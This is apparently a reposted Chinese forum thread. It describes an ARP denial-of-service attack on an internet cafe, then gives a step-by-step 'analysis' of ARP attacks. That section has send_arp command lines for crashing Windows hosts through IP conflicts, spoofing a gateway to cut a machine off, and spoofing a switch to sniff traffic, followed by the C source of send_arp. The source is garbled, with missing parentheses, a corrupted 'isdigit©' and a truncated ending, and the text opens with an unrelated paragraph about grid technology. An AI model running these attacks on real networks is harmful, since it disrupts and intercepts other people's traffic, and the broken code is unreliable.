网络技术是从1990年代中期发展起来的新技术，它把互联网上分散的资源融为有机整体，实现资源的全面共享和有机协作，使人们能够透明地使用资源的整体能力并按需获取信息。资源包括高性能计算机、存储资源、数据资源、信息资源、知识资源、专家资源、大型数据库、网络、传感器等。 当前的互联网只限于信息共享，网络则被认为是互联网发展的第三阶段。
我一个朋友的网吧最近遭受一种奇怪的攻击，他网吧一共有60台机器，和另外6个网吧并在一个网段中，IP地址从192.168.0.1～192.168.0.255，大家共用CS服务器和WEB及流媒体服务器，其中一台CS服务器和流媒体服务器在他网吧里。
最近每晚和中午，他网吧客满的时候，就有人在网内对他网吧的IP段进行攻击。表现是大面积IP地址冲突，造成机器暂时停止
网络响应，而且
网络中的CS服务器和流媒体服务器马上停止响应。一般持续半小时以上，IP冲突的速度大约10秒一次。连续几天都是如此，造成他很大损失。
我朋友求助于我，于是我先试验了一下，证明故意修改IP的方式是无法造成服务器失去响应的，于是我在他网吧两台机器上安装了一些监测软件，试图捕捉对方的攻击数据包，然后再取得对方的MAC地址来查找攻击来源。由于主要表现是IP冲突，所以我使用commview3专门捕捉所有的ARP协议包，结果在晚上对方攻击时果然发现出现了大量有规律的ARP广播包，那些包明显是某种软件生成的，MAC地址是随机伪造的，IP地址就是他网吧的系列IP，这种包和一般开机的包不同，是pass-thourgh包，机器收到后98系统马上失去
网络响应，只有等很长时间或者重起，2K系统也马上失去响应，必须点确定才能恢复，但是所有连接的用户都Time Out了。
由于包里MAC地址是伪造的，所以我无法查到来源，于是我去网上查找了一些资料，证明这是一种ARP拒绝服务攻击，但是没找到任何有效防范办法，微软也没有相应的补丁。唯一的办法除非在
网络中使用路由器屏蔽ARP，用硬件存储ARP列表，但是路由器不是一个小网吧可以承担的设备。当然如果划分网段，再用网关把他和大家隔开也可以，因为ARP只在一个网段传播，但是这样别人就无法共用他们的服务器，而且破坏者也可以到他网吧来继续破坏，这也是不行的。
我又试用了各种
防火墙软件，证明也无法拦住这样的攻击包，没有一个防火墙产品可以屏蔽非法的ARP包。使用天网2.5和金山网镖，甚至用断开
网络选项都无法挡住攻击。
我后来在网上找到了一个叫做“……”（为防止别有用心的人用来干坏事，我略去这个软件的名字，转贴者也就是本人注）的软件，果然可以达到这个效果，证明这样的攻击软件在网上是大量存在的，大家可以去google里搜索下载这个软件。
我现在唯一能告诉他的办法就是遇到攻击就拔网线，各位高手，还有没有什么低廉方便的手段能解决这个问题啊，我朋友都急死了，再这样他的网吧就做不下去了。
请大家帮帮忙！！谢谢：）
分析:
网上关于ARP的资料已经很多了，就不用我都说了。
用某一位高手的话来说，“我们能做的事情很多，唯一受
限制的是我们的创造力和想象力”。
ARP也是如此。
以下讨论的机子有
一个要攻击的机子：10.5.4.178
硬件地址：52:54:4C:98:EE:2F
我的机子： :10.5.3.69
硬件地址：52:54:4C:98:ED:C5
网关： 10.5.0.3
硬件地址：00:90:26:3D:0C:F3
一台交换机另一端口的机子：10.5.3.3
硬件地址：52:54:4C:98:ED:F7
一：用ARP破
WINDOWS的屏保
原理：利用IP冲突的级别比屏保高，当有冲突时，就会
跳出屏保。
关键：ARP包的数量适当。
[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \
10.5.4.178 52:54:4C:98:EE:2F 40
二：用ARP导致IP冲突，死机
原理：
WINDOWS 9X，NT4在处理IP冲突时，处理不过来，导致死机。
注： 对
WINDOWS 2K，LINUX相当于flooding,只是比一般的FLOODING
有效的多.对LINUX，明显系统被拖慢。
[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \
10.5.4.178 52:54:4C:98:EE:2F 999999999
三：用ARP欺骗网关，可导致局域网的某台机子出不了网关。
原理：用ARP应答包去刷新对应着要使之出不去的机子。
[root@sztcww tools]# ./send_arp 10.5.4.178 52:54:4C:98:EE:22 \
10.5.4.178 00:90:26:3D:0C:F3 1
注意：如果单单如上的命令，大概只能有效几秒钟，网关机子里的ARP
高速缓存会被被攻击的机子正确刷新，于是只要...
四：用ARP欺骗交换机，可监听到交换机另一端的机子。
可能需要修改一下send_arp.c,构造如下的数据包。
ethhdr
srchw:52:54:4C:98:ED:F7--->dsthw:FF:FF:FF:FF:FF:FF proto:806H
arphdr
hwtype:1 protol:800H hw_size:6 pro_size:4 op:1
s_ha:52:54:4C:98:ED:F7 s_ip:10.5.3.3
d_ha:00:00:00:00:00:00 d_ip:10.5.3.3
然后就可以sniffer了。
原理:
交换机是具有记忆MAC地址功能的,它维护一张MAC地址和它的口号表
所以你可以先来个ARP 欺骗,然后就可以监听了
不过需要指出,欺骗以后,同一个MAC地址就有两个端口号
yuange说，“这样其实就是一个竞争问题。”
好象ARP 以后,对整个
网络会有点影响,不过我不敢确定
既然是竞争,所以监听也只能监听一部分,不象同一HUB下的监听。
对被监听者会有影响，因为他掉了一部分数据。
当然还有其他一些应用，需要其他技术的配合。
以下是send_arp.c的源程序
/*
This program sends out one ARP packet with source/target IP
and Ethernet hardware addresses suuplied by the user. It
compiles and works on Linux and will probably work on any
Unix that has SOCK_PACKET. volobuev@t1.chem.umn.edu
*/
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <signal.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <string.h>
#include <arpa/inet.h>
#include <netinet/ip_icmp.h>
#include <linux/if_ether.h>
#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2
#define OP_ARP_QUEST 1
#define DEFAULT_DEVICE "eth0"
char usage[] = {"send_arp: sends out custom ARP packet. yuri volobuev
usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"};
struct arp_packet
{
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};
void die (char *);
void get_ip_addr (struct in_addr *, char *);
void get_hw_addr (char *, char *);
int main (int argc, char * argv[])
{
struct in_addr src_in_addr, targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;
int j,number;
if (argc != 6)
die(usage);
sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));
if (sock < 0)
{
perror("socket");
exit(1);
}
number=atoi(argv[5]);
pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op = htons(OP_ARP_QUEST);
get_hw_addr(pkt.targ_hw_addr, argv[4]);
get_hw_addr(pkt.rcpt_hw_addr, argv[4]);
get_hw_addr(pkt.src_hw_addr, argv[2]);
get_hw_addr(pkt.sndr_hw_addr, argv[2]);
get_ip_addr(&src_in_addr, argv[1]
get_ip_addr(&targ_in_addr, argv[3]
memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN);
bzero(pkt.padding,18);
strcpy(sa.sa_data,DEFAULT_DEVICE);
for (j=0;j<number;j++)
{
if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0)
{
perror("sendto");
exit(1);
}
}
exit(0);
}
void die (char *str)
{
fprintf(stderr,"%s\n",str);
exit(1);
}
void get_ip_addr (struct in_addr *in_addr, char *str)
{
struct hostent *hostp;
in_addr->s_addr = inet_addr(str);
if(in_addr->s_addr == -1)
{
if ((hostp = gethostbyname(str)))
bcopy(hostp->h_addr, in_addr, hostp->h_length);
else {
fprintf(stderr, "send_arp: unknown host %s\n", str);
exit(1);
}
}
}
void get_hw_addr (char *buf, char *str)
{
int i;
char c, val;
for(i = 0; i < ETH_HW_ADDR_LEN; i++)
{
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit©)
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf = val << 4;
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit©)
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf++
关键词：防备局域网攻击 ZT